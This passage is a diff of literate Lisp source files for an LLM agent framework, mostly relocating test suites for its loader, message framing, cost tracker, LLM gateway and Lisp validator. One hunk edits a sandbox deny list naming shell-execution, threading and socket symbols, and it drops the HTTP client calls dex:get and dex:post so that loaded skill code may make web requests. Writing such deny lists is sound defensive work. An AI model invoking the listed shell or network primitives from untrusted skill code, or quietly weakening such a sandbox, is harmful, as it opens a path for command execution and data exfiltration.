Returns two values: T/NIL (blocked-p) and a list of matched symbol names.
|
||||
@@ -416,7 +377,6 @@ not obfuscated ones. The post-eval ~symbol-function~ comparison in
|
||||
(defvar *skill-restricted-symbols*
|
||||
'("uiop:run-program" "uiop:shell" "uiop:run-shell-command"
|
||||
"bt:make-thread" "bordeaux-threads:make-thread"
|
||||
"dex:get" "dex:post" "dexador:get" "dexador:post"
|
||||
"usocket:socket-connect" "usocket:socket-listen"
|
||||
"hunchentoot:start" "hunchentoot:accept-connections")
|
||||
"Symbol patterns blocked from skill source code at load time.")
|
||||
@@ -438,7 +398,7 @@ Loads a pre-tangled ~.lisp~ file directly, without parsing the Org source. This
|
||||
|
||||
The same jailed package and symbol export process applies.
|
||||
|
||||
The sandbox check runs *before* evaluation: the source text is scanned for references to restricted symbols (~uiop:run-program~, ~uiop:shell~, ~uiop:run-shell-command~, ~bt:make-thread~, ~dex:get~, ~dex:post~, ~usocket:socket-connect~, ~hunchentoot:start~). If the source references any restricted symbol, the skill is blocked immediately without executing any code. A post-eval secondary check catches indirect references (via ~symbol-function~ comparison).
|
||||
The sandbox check runs *before* evaluation: the source text is scanned for references to restricted symbols (~uiop:run-program~, ~uiop:shell~, ~uiop:run-shell-command~, ~bt:make-thread~, ~usocket:socket-connect~, ~hunchentoot:start~). If the source references any restricted symbol, the skill is blocked immediately without executing any code. A post-eval secondary check catches indirect references (via ~symbol-function~ comparison).
|
||||
|
||||
#+begin_src lisp
|
||||
(defun load-skill-from-lisp (filepath)
|
||||
@@ -527,3 +487,41 @@ files live after tangling. The org source files live in ~org/~.
|
||||
(log-message "LOADER: Boot Complete."))))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
Verifies that the topological sorter correctly orders skills by their ~#+DEPENDS_ON:~ declarations.
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-boot-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:boot-suite))
|
||||
|
||||
(in-package :passepartout-boot-tests)
|
||||
|
||||
(def-suite boot-suite :description "Verification of the Skill Engine loader")
|
||||
(in-suite boot-suite)
|
||||
|
||||
(test test-topological-sort-basic
|
||||
"Contract 2: dependency ordering puts dependencies before dependents."
|
||||
(let ((tmp-dir "/tmp/passepartout-boot-test/"))
|
||||
(uiop:ensure-all-directories-exist (list tmp-dir))
|
||||
(with-open-file (out (merge-pathnames "org-skill-a.org" tmp-dir) :direction :output :if-exists :supersede)
|
||||
(format out "#+DEPENDS_ON: skill-b-id~%"))
|
||||
(with-open-file (out (merge-pathnames "org-skill-b.org" tmp-dir) :direction :output :if-exists :supersede)
|
||||
(format out ":PROPERTIES:~%:ID: skill-b-id~%:END:~%"))
|
||||
(unwind-protect
|
||||
(let ((sorted (passepartout::skill-topological-sort tmp-dir)))
|
||||
(let ((pos-a (position "org-skill-a" sorted :key #'pathname-name :test #'string-equal))
|
||||
(pos-b (position "org-skill-b" sorted :key #'pathname-name :test #'string-equal)))
|
||||
(is (< pos-b pos-a))))
|
||||
(uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t))))
|
||||
|
||||
(test test-lisp-syntax-validate-valid
|
||||
"Contract 1: valid Lisp code passes syntax validation."
|
||||
(is (eq t (lisp-syntax-validate "(+ 1 2)"))))
|
||||
|
||||
(test test-lisp-syntax-validate-invalid
|
||||
"Contract 1: unbalanced Lisp code fails syntax validation."
|
||||
(is (null (lisp-syntax-validate "(+ 1 2"))))
|
||||
#+end_src
|
||||
@@ -39,53 +39,6 @@ The 6-character hex length supports messages up to ~16MB (0xFFFFFF bytes). This
|
||||
3. Round-trip invariant: ~(read-framed-message (make-string-input-stream
|
||||
(frame-message msg)))~ equals ~msg~.
|
||||
|
||||
* Test Suite
|
||||
Verifies that the framing protocol correctly serializes and deserializes messages.
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-communication-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:communication-protocol-suite))
|
||||
(in-package :passepartout-communication-tests)
|
||||
|
||||
(def-suite communication-protocol-suite :description "Communication Protocol Suite")
|
||||
(in-suite communication-protocol-suite)
|
||||
|
||||
(test test-framing
|
||||
"Contract 1: frame-message produces correct hex length prefix."
|
||||
(let* ((msg '(:type :EVENT :payload (:action :handshake)))
|
||||
(framed (frame-message msg)))
|
||||
(is (string= "00002C" (string-upcase (subseq framed 0 6))))))
|
||||
|
||||
(test test-framing-round-trip
|
||||
"Contract 3: frame → read-frame preserves message identity."
|
||||
(let* ((msg '(:type :EVENT :payload (:action :handshake :version "1.0") :meta (:source :tui)))
|
||||
(framed (frame-message msg))
|
||||
(unframed (read-framed-message (make-string-input-stream framed))))
|
||||
(is (equal msg unframed))))
|
||||
|
||||
(test test-framing-empty-message
|
||||
"Contract 1: simple messages frame with valid hex length."
|
||||
(let* ((msg '(:type :ping))
|
||||
(framed (frame-message msg)))
|
||||
(is (> (length framed) 5))
|
||||
(is (every (lambda (c) (digit-char-p c 16)) (subseq framed 0 6)))))
|
||||
|
||||
(test test-read-framed-message
|
||||
"Contract 2: read-framed-message decodes a framed message correctly."
|
||||
(let* ((original '(:type :EVENT :payload (:text "decoded" :id 42)))
|
||||
(framed (frame-message original))
|
||||
(decoded (read-framed-message (make-string-input-stream framed))))
|
||||
(is (equal original decoded))))
|
||||
|
||||
(test test-read-framed-message-eof
|
||||
"Contract 2: read-framed-message returns :eof on incomplete stream."
|
||||
(let ((decoded (read-framed-message (make-string-input-stream "000"))))
|
||||
(is (eq :eof decoded))))
|
||||
#+end_src
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
@@ -305,3 +258,49 @@ Use this function to manually verify that the daemon is alive and the framing pr
|
||||
(error (c) (format t "Error: ~a~%" c))))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
Verifies that the framing protocol correctly serializes and deserializes messages.
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-communication-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:communication-protocol-suite))
|
||||
(in-package :passepartout-communication-tests)
|
||||
|
||||
(def-suite communication-protocol-suite :description "Communication Protocol Suite")
|
||||
(in-suite communication-protocol-suite)
|
||||
|
||||
(test test-framing
|
||||
"Contract 1: frame-message produces correct hex length prefix."
|
||||
(let* ((msg '(:type :EVENT :payload (:action :handshake)))
|
||||
(framed (frame-message msg)))
|
||||
(is (string= "00002C" (string-upcase (subseq framed 0 6))))))
|
||||
|
||||
(test test-framing-round-trip
|
||||
"Contract 3: frame → read-frame preserves message identity."
|
||||
(let* ((msg '(:type :EVENT :payload (:action :handshake :version "1.0") :meta (:source :tui)))
|
||||
(framed (frame-message msg))
|
||||
(unframed (read-framed-message (make-string-input-stream framed))))
|
||||
(is (equal msg unframed))))
|
||||
|
||||
(test test-framing-empty-message
|
||||
"Contract 1: simple messages frame with valid hex length."
|
||||
(let* ((msg '(:type :ping))
|
||||
(framed (frame-message msg)))
|
||||
(is (> (length framed) 5))
|
||||
(is (every (lambda (c) (digit-char-p c 16)) (subseq framed 0 6)))))
|
||||
|
||||
(test test-read-framed-message
|
||||
"Contract 2: read-framed-message decodes a framed message correctly."
|
||||
(let* ((original '(:type :EVENT :payload (:text "decoded" :id 42)))
|
||||
(framed (frame-message original))
|
||||
(decoded (read-framed-message (make-string-input-stream framed))))
|
||||
(is (equal original decoded))))
|
||||
|
||||
(test test-read-framed-message-eof
|
||||
"Contract 2: read-framed-message returns :eof on incomplete stream."
|
||||
(let ((decoded (read-framed-message (make-string-input-stream "000"))))
|
||||
(is (eq :eof decoded))))
|
||||
#+end_src
|
||||
@@ -50,82 +50,6 @@ Degrades gracefully to nil when cost-tracker is not loaded.
|
||||
human-readable message explaining the budget cap. Injected as the
|
||||
LLM response when the budget is exhausted.
|
||||
|
||||
* Test Suite
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-cost-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:cost-suite))
|
||||
|
||||
(in-package :passepartout-cost-tests)
|
||||
|
||||
(def-suite cost-suite :description "Cost tracking and budget management")
|
||||
(in-suite cost-suite)
|
||||
|
||||
(test test-cost-track-call
|
||||
"Contract 1: cost-track-call returns a positive number."
|
||||
(cost-session-reset)
|
||||
(let ((cost (cost-track-call :deepseek "hello world")))
|
||||
(is (numberp cost))
|
||||
(is (> cost 0.0))))
|
||||
|
||||
(test test-cost-session-total-accumulates
|
||||
"Contract 2: session total grows with multiple calls."
|
||||
(cost-session-reset)
|
||||
(cost-track-call :deepseek "hello")
|
||||
(cost-track-call :deepseek "world")
|
||||
(let ((total (cost-session-total)))
|
||||
(is (> total 0.0))
|
||||
(is (= 2 (cost-session-calls)))))
|
||||
|
||||
(test test-cost-session-reset
|
||||
"Contract 3: cost-session-reset zeroes the accumulator."
|
||||
(cost-session-reset)
|
||||
(cost-track-call :deepseek "hello")
|
||||
(is (> (cost-session-total) 0.0))
|
||||
(cost-session-reset)
|
||||
(is (= 0.0 (cost-session-total)))
|
||||
(is (= 0 (cost-session-calls))))
|
||||
|
||||
(test test-cost-format-budget-status
|
||||
"Contract 4: format-budget-status returns a string."
|
||||
(cost-session-reset)
|
||||
(cost-track-call :deepseek "hello world")
|
||||
(let ((status (cost-format-budget-status 100)))
|
||||
(is (stringp status))
|
||||
(is (search "$" status))))
|
||||
|
||||
(test test-cost-by-provider
|
||||
"Contract: cost-by-provider returns per-provider breakdown."
|
||||
(cost-session-reset)
|
||||
(cost-track-call :deepseek "a")
|
||||
(cost-track-call :groq "b")
|
||||
(let ((by (cost-by-provider)))
|
||||
(is (listp by))
|
||||
(is (assoc :deepseek by))
|
||||
(is (assoc :groq by))))
|
||||
|
||||
(test test-cost-track-no-response
|
||||
"Contract 1: cost-track-call works without response-text."
|
||||
(cost-session-reset)
|
||||
(let ((cost (cost-track-call :deepseek "test")))
|
||||
(is (> cost 0.0))))
|
||||
|
||||
(test test-cost-session-summary
|
||||
"Contract 5: cost-session-summary returns plist with total, calls, by-provider."
|
||||
(cost-session-reset)
|
||||
(cost-track-call :deepseek "hello")
|
||||
(cost-track-call :groq "world")
|
||||
(let ((s (cost-session-summary)))
|
||||
(is (> (getf s :total) 0.0))
|
||||
(is (= 2 (getf s :calls)))
|
||||
(let ((by (getf s :by-provider)))
|
||||
(is (assoc :deepseek by))
|
||||
(is (assoc :groq by)))))
|
||||
#+end_src
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
@@ -284,3 +208,78 @@ Returns 0.0 if the tokenizer is not loaded (allows call through)."
|
||||
:EXPLANATION "Budget cap reached. No LLM calls will be made until the limit is raised."))))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-cost-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:cost-suite))
|
||||
|
||||
(in-package :passepartout-cost-tests)
|
||||
|
||||
(def-suite cost-suite :description "Cost tracking and budget management")
|
||||
(in-suite cost-suite)
|
||||
|
||||
(test test-cost-track-call
|
||||
"Contract 1: cost-track-call returns a positive number."
|
||||
(cost-session-reset)
|
||||
(let ((cost (cost-track-call :deepseek "hello world")))
|
||||
(is (numberp cost))
|
||||
(is (> cost 0.0))))
|
||||
|
||||
(test test-cost-session-total-accumulates
|
||||
"Contract 2: session total grows with multiple calls."
|
||||
(cost-session-reset)
|
||||
(cost-track-call :deepseek "hello")
|
||||
(cost-track-call :deepseek "world")
|
||||
(let ((total (cost-session-total)))
|
||||
(is (> total 0.0))
|
||||
(is (= 2 (cost-session-calls)))))
|
||||
|
||||
(test test-cost-session-reset
|
||||
"Contract 3: cost-session-reset zeroes the accumulator."
|
||||
(cost-session-reset)
|
||||
(cost-track-call :deepseek "hello")
|
||||
(is (> (cost-session-total) 0.0))
|
||||
(cost-session-reset)
|
||||
(is (= 0.0 (cost-session-total)))
|
||||
(is (= 0 (cost-session-calls))))
|
||||
|
||||
(test test-cost-format-budget-status
|
||||
"Contract 4: format-budget-status returns a string."
|
||||
(cost-session-reset)
|
||||
(cost-track-call :deepseek "hello world")
|
||||
(let ((status (cost-format-budget-status 100)))
|
||||
(is (stringp status))
|
||||
(is (search "$" status))))
|
||||
|
||||
(test test-cost-by-provider
|
||||
"Contract: cost-by-provider returns per-provider breakdown."
|
||||
(cost-session-reset)
|
||||
(cost-track-call :deepseek "a")
|
||||
(cost-track-call :groq "b")
|
||||
(let ((by (cost-by-provider)))
|
||||
(is (listp by))
|
||||
(is (assoc :deepseek by))
|
||||
(is (assoc :groq by))))
|
||||
|
||||
(test test-cost-track-no-response
|
||||
"Contract 1: cost-track-call works without response-text."
|
||||
(cost-session-reset)
|
||||
(let ((cost (cost-track-call :deepseek "test")))
|
||||
(is (> cost 0.0))))
|
||||
|
||||
(test test-cost-session-summary
|
||||
"Contract 5: cost-session-summary returns plist with total, calls, by-provider."
|
||||
(cost-session-reset)
|
||||
(cost-track-call :deepseek "hello")
|
||||
(cost-track-call :groq "world")
|
||||
(let ((s (cost-session-summary)))
|
||||
(is (> (getf s :total) 0.0))
|
||||
(is (= 2 (getf s :calls)))
|
||||
(let ((by (getf s :by-provider)))
|
||||
(is (assoc :deepseek by))
|
||||
(is (assoc :groq by)))))
|
||||
#+end_src
|
||||
@@ -44,65 +44,6 @@ Providers register themselves at boot. No API key? That provider doesn't registe
|
||||
for ~data: <content>~ lines, ~:done~ for ~data: [DONE]~, and ~nil~
|
||||
for comment lines (starting with ~:~), empty lines, or non-data lines.
|
||||
|
||||
* Test Suite
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-llm-gateway-tests
|
||||
(:use :cl :passepartout)
|
||||
(:export #:llm-gateway-suite))
|
||||
|
||||
(in-package :passepartout-llm-gateway-tests)
|
||||
|
||||
(fiveam:def-suite llm-gateway-suite :description "Tests for the LLM provider backend")
|
||||
(fiveam:in-suite llm-gateway-suite)
|
||||
|
||||
(fiveam:test test-provider-rejects-bad-keyword
|
||||
"Contract 3: provider-config returns nil for unregistered provider."
|
||||
(let ((config (provider-config :not-a-real-provider)))
|
||||
(fiveam:is (null config))))
|
||||
|
||||
(fiveam:test test-provider-config-registered
|
||||
"Contract 1: provider-config returns configuration plist for registered provider."
|
||||
(let ((config (provider-config :openrouter)))
|
||||
(fiveam:is (listp config))
|
||||
(fiveam:is (getf config :base-url))))
|
||||
|
||||
(fiveam:test test-provider-accepts-tools-parameter
|
||||
"Contract 4: provider-openai-request accepts :tools parameter without error."
|
||||
(let ((result (provider-openai-request "test" "system" :tools (list))))
|
||||
(fiveam:is (member (getf result :status) '(:success :error)))))
|
||||
|
||||
;; ── v0.7.1 Streaming ──
|
||||
|
||||
(fiveam:test test-parse-sse-line-data
|
||||
"Contract 6: parse-sse-line extracts content from data: lines."
|
||||
(fiveam:is (string= "hello world" (passepartout::parse-sse-line "data: hello world")))
|
||||
(fiveam:is (string= "{\"a\":1}" (passepartout::parse-sse-line "data: {\"a\":1}"))))
|
||||
|
||||
(fiveam:test test-parse-sse-line-done
|
||||
"Contract 6: parse-sse-line returns :done for [DONE]."
|
||||
(fiveam:is (eq :done (passepartout::parse-sse-line "data: [DONE]"))))
|
||||
|
||||
(fiveam:test test-parse-sse-line-nil
|
||||
"Contract 6: parse-sse-line returns nil for comment, empty, non-data lines."
|
||||
(fiveam:is (null (passepartout::parse-sse-line "")))
|
||||
(fiveam:is (null (passepartout::parse-sse-line ":ok")))
|
||||
(fiveam:is (null (passepartout::parse-sse-line "event: ping"))))
|
||||
|
||||
(fiveam:test test-provider-openai-stream-calls-callback
|
||||
"Contract 5: provider-openai-stream calls callback with deltas and final empty string."
|
||||
(let ((collected '()))
|
||||
(flet ((collector (text) (push text collected)))
|
||||
(passepartout::provider-openai-stream "hi" "sys" #'collector :provider :openrouter))
|
||||
(let* ((reversed (nreverse collected))
|
||||
(last (car (last reversed))))
|
||||
(fiveam:is (stringp last))
|
||||
(fiveam:is (string= "" last))
|
||||
(fiveam:is (>= (length reversed) 2)))))
|
||||
#+end_src
|
||||
|
||||
* Implementation
|
||||
|
||||
** Provider registry
|
||||
@@ -273,7 +214,64 @@ If API-KEY is nil, reads from environment."
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
#+end_src
|
||||
|
||||
* v0.7.1 — Streaming Backend
|
||||
* Test Suite
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-llm-gateway-tests
|
||||
(:use :cl :passepartout)
|
||||
(:export #:llm-gateway-suite))
|
||||
|
||||
(in-package :passepartout-llm-gateway-tests)
|
||||
|
||||
(fiveam:def-suite llm-gateway-suite :description "Tests for the LLM provider backend")
|
||||
(fiveam:in-suite llm-gateway-suite)
|
||||
|
||||
(fiveam:test test-provider-rejects-bad-keyword
|
||||
"Contract 3: provider-config returns nil for unregistered provider."
|
||||
(let ((config (provider-config :not-a-real-provider)))
|
||||
(fiveam:is (null config))))
|
||||
|
||||
(fiveam:test test-provider-config-registered
|
||||
"Contract 1: provider-config returns configuration plist for registered provider."
|
||||
(let ((config (provider-config :openrouter)))
|
||||
(fiveam:is (listp config))
|
||||
(fiveam:is (getf config :base-url))))
|
||||
|
||||
(fiveam:test test-provider-accepts-tools-parameter
|
||||
"Contract 4: provider-openai-request accepts :tools parameter without error."
|
||||
(let ((result (provider-openai-request "test" "system" :tools (list))))
|
||||
(fiveam:is (member (getf result :status) '(:success :error)))))
|
||||
|
||||
;; ── v0.7.1 Streaming ──
|
||||
|
||||
(fiveam:test test-parse-sse-line-data
|
||||
"Contract 6: parse-sse-line extracts content from data: lines."
|
||||
(fiveam:is (string= "hello world" (passepartout::parse-sse-line "data: hello world")))
|
||||
(fiveam:is (string= "{\"a\":1}" (passepartout::parse-sse-line "data: {\"a\":1}"))))
|
||||
|
||||
(fiveam:test test-parse-sse-line-done
|
||||
"Contract 6: parse-sse-line returns :done for [DONE]."
|
||||
(fiveam:is (eq :done (passepartout::parse-sse-line "data: [DONE]"))))
|
||||
|
||||
(fiveam:test test-parse-sse-line-nil
|
||||
"Contract 6: parse-sse-line returns nil for comment, empty, non-data lines."
|
||||
(fiveam:is (null (passepartout::parse-sse-line "")))
|
||||
(fiveam:is (null (passepartout::parse-sse-line ":ok")))
|
||||
(fiveam:is (null (passepartout::parse-sse-line "event: ping"))))
|
||||
|
||||
(fiveam:test test-provider-openai-stream-calls-callback
|
||||
"Contract 5: provider-openai-stream calls callback with deltas and final empty string."
|
||||
(let ((collected '()))
|
||||
(flet ((collector (text) (push text collected)))
|
||||
(passepartout::provider-openai-stream "hi" "sys" #'collector :provider :openrouter))
|
||||
(let* ((reversed (nreverse collected))
|
||||
(last (car (last reversed))))
|
||||
(fiveam:is (stringp last))
|
||||
(fiveam:is (string= "" last))
|
||||
(fiveam:is (>= (length reversed) 2)))))
|
||||
#+end_src* v0.7.1 — Streaming Backend
|
||||
:PROPERTIES:
|
||||
:ID: id-v071-streaming
|
||||
:CREATED: [2026-05-08 Fri]
|
||||
@@ -407,5 +405,4 @@ Calls CALLBACK with each delta string, then with '' to signal end-of-stream."
|
||||
(list :status :success))
|
||||
(error (c)
|
||||
(list :status :error :message (format nil "~a Stream Failure: ~a" provider c)))))))
|
||||
#+end_src
|
||||
|
||||
#+end_src
|
||||
@@ -31,98 +31,6 @@ The skill has four layers:
|
||||
8. (lisp-inject code target new-form): injects a form into a function body.
|
||||
9. (lisp-slurp code target form): appends a form to a function body.
|
||||
|
||||
* Test Suite
|
||||
Tests for the Lisp Validator structural, syntactic, and semantic gates.
|
||||
#+begin_src lisp
|
||||
(defpackage :passepartout-utils-lisp-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:utils-lisp-suite))
|
||||
|
||||
(in-package :passepartout-utils-lisp-tests)
|
||||
|
||||
(def-suite utils-lisp-suite
|
||||
:description "Tests for the Lisp Validator structural, syntactic, and semantic gates")
|
||||
|
||||
(in-suite utils-lisp-suite)
|
||||
|
||||
(test structural-balanced
|
||||
"Contract 1: balanced code returns T."
|
||||
(is (eq t (passepartout:lisp-structural-check "(+ 1 2)"))))
|
||||
|
||||
(test structural-unbalanced-open
|
||||
"Contract 1: missing close paren returns nil + error."
|
||||
(multiple-value-bind (ok reason) (passepartout:lisp-structural-check "(+ 1 2")
|
||||
(is (null ok))
|
||||
(is (search "Reader Error" reason))))
|
||||
|
||||
(test structural-unbalanced-close
|
||||
"Contract 1: extra close paren returns nil + error."
|
||||
(multiple-value-bind (ok reason) (passepartout:lisp-structural-check "+ 1 2)")
|
||||
(is (null ok))
|
||||
(is (search "Reader Error" reason))))
|
||||
|
||||
(test syntactic-valid
|
||||
"Contract 2: valid syntax passes syntactic check."
|
||||
(is (eq t (passepartout:lisp-syntactic-check "(+ 1 2)"))))
|
||||
|
||||
(test semantic-safe
|
||||
"Contract 3: safe code passes semantic check."
|
||||
(is (eq t (passepartout:lisp-semantic-check "(+ 1 2)"))))
|
||||
|
||||
(test semantic-blocked-eval
|
||||
"Contract 3: eval forms are blocked by semantic check."
|
||||
(multiple-value-bind (ok reason) (passepartout:lisp-semantic-check "(eval '(+ 1 2))")
|
||||
(is (null ok))
|
||||
(is (search "Unsafe" reason))))
|
||||
|
||||
(test unified-success
|
||||
"Contract 4: valid code returns :success via lisp-validate."
|
||||
(let ((result (passepartout:lisp-validate "(+ 1 2)" :strict t)))
|
||||
(is (eq (getf result :status) :success))))
|
||||
|
||||
(test unified-failure
|
||||
"Contract 4: invalid code returns :error via lisp-validate."
|
||||
(let ((result (passepartout:lisp-validate "(+ 1 2" :strict nil)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
(test eval-basic
|
||||
"Contract 5: lisp-eval returns :success with captured result."
|
||||
(let ((result (passepartout:lisp-eval "(+ 1 2)")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (string= (getf result :result) "3"))))
|
||||
|
||||
(test structural-extract
|
||||
"Contract 6: lisp-extract finds and returns a named function."
|
||||
(let* ((code "(defun hello () (print \"hi\")) (defun bye () (print \"bye\"))")
|
||||
(extracted (passepartout:lisp-extract code "hello")))
|
||||
(is (not (null extracted)))
|
||||
(let ((form (read-from-string extracted)))
|
||||
(is (eq (car form) 'DEFUN))
|
||||
(is (eq (second form) 'HELLO)))))
|
||||
|
||||
(test list-definitions
|
||||
"Contract 7: lisp-list-definitions returns all defined names."
|
||||
(let ((code "(defun foo () t) (defmacro bar () nil) (defparameter *baz* 10)"))
|
||||
(let ((names (passepartout:lisp-list-definitions code)))
|
||||
(is (member 'FOO names))
|
||||
(is (member 'BAR names))
|
||||
(is (member '*BAZ* names)))))
|
||||
|
||||
(test structural-inject
|
||||
"Contract 8: lisp-inject adds a form to a function body."
|
||||
(let* ((code "(defun my-fun (x) (print x))")
|
||||
(injected (passepartout:lisp-inject code "my-fun" "(finish-output)")))
|
||||
(let ((form (read-from-string injected)))
|
||||
(is (equal (last form) '((FINISH-OUTPUT)))))))
|
||||
|
||||
(test structural-slurp
|
||||
"Contract 9: lisp-slurp appends a form to a function body."
|
||||
(let* ((code "(defun work () (step-1))")
|
||||
(slurped (passepartout:lisp-slurp code "work" "(step-2)")))
|
||||
(let ((form (read-from-string slurped)))
|
||||
(is (equal (last form) '((STEP-2)))))))
|
||||
#+end_src
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
@@ -340,3 +248,94 @@ Lisp keywords are case-sensitive. The LLM might produce :payload or :PAYLOAD dep
|
||||
collect v)))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
Tests for the Lisp Validator structural, syntactic, and semantic gates.
|
||||
#+begin_src lisp
|
||||
(defpackage :passepartout-utils-lisp-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:utils-lisp-suite))
|
||||
|
||||
(in-package :passepartout-utils-lisp-tests)
|
||||
|
||||
(def-suite utils-lisp-suite
|
||||
:description "Tests for the Lisp Validator structural, syntactic, and semantic gates")
|
||||
|
||||
(in-suite utils-lisp-suite)
|
||||
|
||||
(test structural-balanced
|
||||
"Contract 1: balanced code returns T."
|
||||
(is (eq t (passepartout:lisp-structural-check "(+ 1 2)"))))
|
||||
|
||||
(test structural-unbalanced-open
|
||||
"Contract 1: missing close paren returns nil + error."
|
||||
(multiple-value-bind (ok reason) (passepartout:lisp-structural-check "(+ 1 2")
|
||||
(is (null ok))
|
||||
(is (search "Reader Error" reason))))
|
||||
|
||||
(test structural-unbalanced-close
|
||||
"Contract 1: extra close paren returns nil + error."
|
||||
(multiple-value-bind (ok reason) (passepartout:lisp-structural-check "+ 1 2)")
|
||||
(is (null ok))
|
||||
(is (search "Reader Error" reason))))
|
||||
|
||||
(test syntactic-valid
|
||||
"Contract 2: valid syntax passes syntactic check."
|
||||
(is (eq t (passepartout:lisp-syntactic-check "(+ 1 2)"))))
|
||||
|
||||
(test semantic-safe
|
||||
"Contract 3: safe code passes semantic check."
|
||||
(is (eq t (passepartout:lisp-semantic-check "(+ 1 2)"))))
|
||||
|
||||
(test semantic-blocked-eval
|
||||
"Contract 3: eval forms are blocked by semantic check."
|
||||
(multiple-value-bind (ok reason) (passepartout:lisp-semantic-check "(eval '(+ 1 2))")
|
||||
(is (null ok))
|
||||
(is (search "Unsafe" reason))))
|
||||
|
||||
(test unified-success
|
||||
"Contract 4: valid code returns :success via lisp-validate."
|
||||
(let ((result (passepartout:lisp-validate "(+ 1 2)" :strict t)))
|
||||
(is (eq (getf result :status) :success))))
|
||||
|
||||
(test unified-failure
|
||||
"Contract 4: invalid code returns :error via lisp-validate."
|
||||
(let ((result (passepartout:lisp-validate "(+ 1 2" :strict nil)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
(test eval-basic
|
||||
"Contract 5: lisp-eval returns :success with captured result."
|
||||
(let ((result (passepartout:lisp-eval "(+ 1 2)")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (string= (getf result :result) "3"))))
|
||||
|
||||
(test structural-extract
|
||||
"Contract 6: lisp-extract finds and returns a named function."
|
||||
(let* ((code "(defun hello () (print \"hi\")) (defun bye () (print \"bye\"))")
|
||||
(extracted (passepartout:lisp-extract code "hello")))
|
||||
(is (not (null extracted)))
|
||||
(let ((form (read-from-string extracted)))
|
||||
(is (eq (car form) 'DEFUN))
|
||||
(is (eq (second form) 'HELLO)))))
|
||||
|
||||
(test list-definitions
|
||||
"Contract 7: lisp-list-definitions returns all defined names."
|
||||
(let ((code "(defun foo () t) (defmacro bar () nil) (defparameter *baz* 10)"))
|
||||
(let ((names (passepartout:lisp-list-definitions code)))
|
||||
(is (member 'FOO names))
|
||||
(is (member 'BAR names))
|
||||
(is (member '*BAZ* names)))))
|
||||
|
||||
(test structural-inject
|
||||
"Contract 8: lisp-inject adds a form to a function body."
|
||||
(let* ((code "(defun my-fun (x) (print x))")
|
||||
(injected (passepartout:lisp-inject code "my-fun" "(finish-output)")))
|
||||
(let ((form (read-from-string injected)))
|
||||
(is (equal (last form) '((FINISH-OUTPUT)))))))
|
||||
|
||||
(test structural-slurp
|
||||
"Contract 9: lisp-slurp appends a form to a function body."
|
||||
(let* ((code "(defun work () (step-1))")
|
||||
(slurped (passepartout:lisp-slurp code "work" "(step-2)")))
|
||||
(let ((form (read-from-string slurped)))
|
||||
(is (equal (last form) '((STEP-2)))))))
|
||||
#+end_src
|
||||
@@ -15,47 +15,6 @@ This skill enforces the literal programming discipline for all Passepartout sour
|
||||
3. (literate-tangle-sync-check org-file lisp-file): verifies the
|
||||
tangled .lisp file matches the Org source. Returns T or mismatch info.
|
||||
|
||||
* Test Suite
|
||||
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-programming-literate-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:literate-suite))
|
||||
|
||||
(in-package :passepartout-programming-literate-tests)
|
||||
|
||||
(def-suite literate-suite :description "Verification of the Literate Programming skill")
|
||||
(in-suite literate-suite)
|
||||
|
||||
(test test-extract-lisp-blocks
|
||||
"Contract 1: extracts lisp from #+begin_src blocks."
|
||||
(let* ((org-content (format nil "#+begin_src lisp~%(+ 1 2)~%#+end_src~%#+begin_src lisp~%(+ 3 4)~%#+end_src"))
|
||||
(extracted (literate-extract-lisp-blocks org-content)))
|
||||
(let ((joined (format nil "~{~a~^~%~}" extracted)))
|
||||
(is (search "(+ 1 2)" joined))
|
||||
(is (search "(+ 3 4)" joined)))))
|
||||
|
||||
(test test-block-balance-check-valid
|
||||
"Contract 2: balanced parens return T."
|
||||
(is (eq t (literate-block-balance-check
|
||||
(merge-pathnames "org/core-pipeline.org"
|
||||
(uiop:ensure-directory-pathname
|
||||
(uiop:getenv "PASSEPARTOUT_DATA_DIR")))))))
|
||||
|
||||
(test test-block-balance-check-missing-close
|
||||
"Contract 2: unbalanced parens return non-T."
|
||||
